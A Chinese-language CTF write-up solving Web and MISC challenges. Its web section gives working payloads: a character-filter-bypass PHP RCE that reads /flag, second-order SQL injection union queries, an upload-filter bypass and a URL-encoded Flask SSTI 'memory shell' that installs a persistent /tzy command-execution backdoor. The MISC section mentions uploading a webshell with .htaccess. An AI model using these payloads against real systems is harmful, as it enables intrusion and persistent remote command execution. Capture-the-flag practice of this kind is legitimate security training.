一、Web
1、来财
本题使用了PHP根据种子来生成伪随机数,我们查看源代码,发现了check.php,我们去看看源码。

发现了确实根据种子来生成随机数,而且本题给出的部分flag其实就是Key
我们使用python代码来把Key转换为工具能识别的序列
def generate_password_constraints(password):
allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
length = len(allowable_characters) - 1
output = []
for char in password:
number = allowable_characters.index(char)
output.append(f"{number} {number} 0 {length}")
print(' '.join(output))
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
generate_password_constraints(sys.argv[1])
else:
print("Please provide a password as an argument")
然后我们直接跑。可以得到在5.2.1+版本中的一个种子

然后直接再次利用PHP生成原文即可
<?php
$seed = 522747678;
mt_srand($seed);
$rand_string = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$retStr = '';
for ( $i = 0; $i < 32; $i++ ){
$retStr .= substr($rand_string,mt_rand(0, strlen($rand_string) - 1), 1);
}
echo $retStr;
?>
每次seed都不一样
2. _._.RCE
本题过滤了除数字和 中括号,大括号等之外的几乎所有字符,所以我们使用自增来绕过,并通过把命令藏在GET传参的参数中,从而避开对字符的过滤以及长度限制
最后payload
rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
GET 传参
?1=system&2=cat /flag

3. ez_SQL
本题是SQL二次注入,原理是通过注册等方法提前将恶意的代码放入数据库中,然后利用对数据库已放入的数据的信任,可能在某些地方直接取出数据库的数据进行了查询,从而达到SQL注入的目的。
首先查库
1' union select database()#
先直接用这个语句注册用户,然后直接登录,获得数据库名称。

然后查表
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#
注意一定要加 group_concat()
函数,否则返回不完全,同时表名一定要用单引号包裹,否则无法查询成功。

然后查字段
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
group_concat()
函数也一定要加,否则返回不完全。表名要加单引号。

最后查字段值
1' union select flag from flag#

4. 粉粉的🐎
本题考查文件上传漏洞,首先查看源代码提示
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
die("oh~nonono!这个不能传哦");
}
$upload_dir = 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$new_file_name = $upload_dir . $name;
print_r($_FILES['upload_file']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
echo "古德古德!恭喜";
} else {
echo "别灰心哦~继续加油";
}
} else {
echo "怎么回事,又失败了呢:" . $file['error'];
}
}
?>
重点注意这三行代码
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$upload_dir = 'uploads/';
$new_file_name = $upload_dir . $name;
发现可以用GET中的name变量控制文件名,同时上传目录为uploads/,最终文件名为 uploads/文件名,使用 move_uploaded_file
函数的特性,上方过滤了后缀为 ph 和 hta 开头的文件,那么我们在文件后方加上/.
,可以绕过后缀过滤,同时由于move_uploaded_file
会自动去除末尾的/.
,所以最终文件中不会包含,就可以成功上传了。

成功链接

5. Py website
本题为Flask的SSTI模版注入,那么这题由于Docker环境对于网络的限制,就不使用反弹了,我们就直接使用内存马,首先,我们打开环境,但是会加载会非常缓慢,这是由于使用了谷歌的ajax的js代码的原因,我们只要科学上网就可以正常访问了。
我们先尝试老版本的内存马,结果发现回显Exception,这个明显是在源码中使用了try语句来捕获异常,简单来说应该是有错误处理机制,后来经过尝试,实际上是报错时会回显Exception。

老版本内存马:
{{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
内存马的底层原理都是利用 app.add_url_rule
函数来添加后门函数,但是在新版的Flask中,当服务运行起来后,会多出一个 app._got_first_request
属性,当服务器接受到第一个请求之后,该属性就会被设置为 True 。当该属性为True时,app.add_url_rule
就无法使用,所以我们要先把这个属性改为False。
最终Payload:
[
__import__('time').sleep(3)
for flask in [__import__("flask")]
for app in __import__("gc").get_objects()
if type(app) == flask.Flask
for jinja_globals in [app.jinja_env.globals]
for tzy in [
lambda : __import__('os').popen(jinja_globals["request"].args.get("cmd", "id")).read()
]
if [
app.__dict__.update({'_got_first_request':False}),
app.add_url_rule("/tzy", endpoint="tzy", view_func=tzy)
]
]
对代码的逐行解释:
[ __import__('time').sleep(3) for flask in [__import__("flask")] ... ]
__import__('time').sleep(3)
:动态导入time模块并休眠3秒for flask in [__import__("flask")]
:动态导入flask模块并将模块对象赋值给变量flask
for app in __import__("gc").get_objects() if type(app) == flask.Flask
- 使用垃圾回收模块(
gc
)获取内存中所有对象 - 筛选出类型为
flask.Flask
的对象(即Flask应用实例)
for jinja_globals in [app.jinja_env.globals]
- 获取Flask应用的Jinja2模板环境的全局变量字典
for tzy in [ lambda : __import__('os').popen(jinja_globals["request"].args.get("cmd", "id")).read() ]
- 创建一个lambda函数,该函数会:
- 动态导入
os
模块 - 使用
popen
执行从请求参数cmd
获取的命令(默认执行id
命令) - 读取命令输出
- 动态导入
if [ app.__dict__.update({'_got_first_request':False}), app.add_url_rule("/tzy", endpoint="tzy", view_func=tzy) ]
- 修改Flask应用的
_got_first_request
属性为False
(绕过Flask的首次请求检查) - 添加一个新的路由
/
tzy,将其绑定到之前创建的lambda函数
然后我们将Payload压缩为一行,并进行URL编码后发送即可。
%7B%7Blipsum.__globals__.__builtins__.eval%28%27%5B%20__import__%28%5C%27time%5C%27%29.sleep%283%29%20for%20flask%20in%20%5B__import__%28%22flask%22%29%5D%20for%20app%20in%20__import__%28%22gc%22%29.get_objects%28%29%20if%20type%28app%29%20%3D%3D%20flask.Flask%20for%20jinja_globals%20in%20%5Bapp.jinja_env.globals%5D%20for%20tzy%20in%20%5B%20lambda%20%3A%20__import__%28%5C%27os%5C%27%29.popen%28jinja_globals%5B%22request%22%5D.args.get%28%22cmd%22%2C%20%22id%22%29%29.read%28%29%20%5D%20if%20%5B%20app.__dict__.update%28%7B%5C%27_got_first_request%5C%27%3AFalse%7D%29%2C%20app.add_url_rule%28%22/tzy%22%2C%20endpoint%3D%22tzy%22%2C%20view_func%3Dtzy%29%20%5D%20%5D%27%29%7D%7D
当注意到页面有延迟3秒,就代表成功了,之后我们访问/tzy路由,并使用?cmd 参数传入想要执行的命令即可。

二、MISC
1、FZ
本题是流量题,打开流量文件,我们发现流量很少。我们可以直接发现进行了压缩包压缩的过程。

使用随波逐流查看,可以发现文件中确实有一个压缩包

那么我们直接使用foremost分离文件,得到一个压缩包,但是解压需要密码,我们从刚刚的压缩命令中可以看到密码。直接解压即可获得flag。

2、谍影重重plus
随波逐流可以直接打开伪加密的压缩包bi并提取出其中文件,我们下载附件之后直接放里面

打开文件

发现文本文件,从解字那样重影的感觉来看,这是一个零宽字符隐写。可以直接从网上找在线工具。

可以看到隐写字符为 Yunxi??????ixnuY
,那么这个就是压缩包密码,但是中间部分不清楚,我们直接生成一个字典,然后来爆破即可。
import itertools
import string
def generate_symmetric_passwords():
# 扩展字符集:大小写字母 + 数字 + 符号
chars = string.ascii_letters + string.digits + string.punctuation
with open('passwords.txt', 'w', encoding='utf-8') as file:
for prefix in itertools.product(chars, repeat=3):
prefix_str = ''.join(prefix)
symmetric_part = prefix_str + prefix_str[::-1]
password = f"Yunxi{symmetric_part}ixnuY"
file.write(password + '\n')
if __name__ == "__main__":
generate_symmetric_passwords()
print("密码字典已生成到 passwords.txt 文件")

解压得图片

使用工具steghide来提取文件,但是需要密码,发现密码藏在文件尾部

最终提取得

3、GK
本题涉及工控流量,使用Wireshark打开附件,发现了一个IEC协议的流量。

IEC是工控流量的协议,我们看到工控流量又以下几种。

那么我们直接过滤,同时按照时间顺序排列流量。然后我们可以发现一个大括号包裹的东西

我们直接解码,即可得到flag

4、ez签到 1.0版
打开环境,是一个搜索框

随便输入点东西,跳出了源码

只要有YX变量且长度小于8即可直接执行传入命令,我们先来ls一下

发现一个压缩包,直接下载下来,解压得到

第一张直接使用WaterMark提取盲水印

得到 wlgf2025yyds,然后第二张图是PixelJihad隐写

直接获取到了flag
5、ez签到 2.0版
打开环境

有点像文件上传,我们直接上传一句话木马,发现不行

看来有后缀过滤,我们尝试上传图片马,发现也不行

看来有内容过滤,我们尝试使用js代码来代替php代码

然后再上传一个 .htaccess 文件来将图片解析为PHP

然后用蚁剑成功链接,发现一个压缩包,下载压缩包,解压得到文本文件

看起来像base64,但是我们看文件结尾,发现文本应该是被倒置了

翻转回来之后直接解码,得到图片

6、Emoji-aes
下载附件

发现也是一个流量文件,首先过滤响应成功的POST包

找到大小较大的包

发现一个key,查看字节流,发现一个执行命令的过程

往下可以找到一些base64编码

提取数据

解码,得到一堆表情

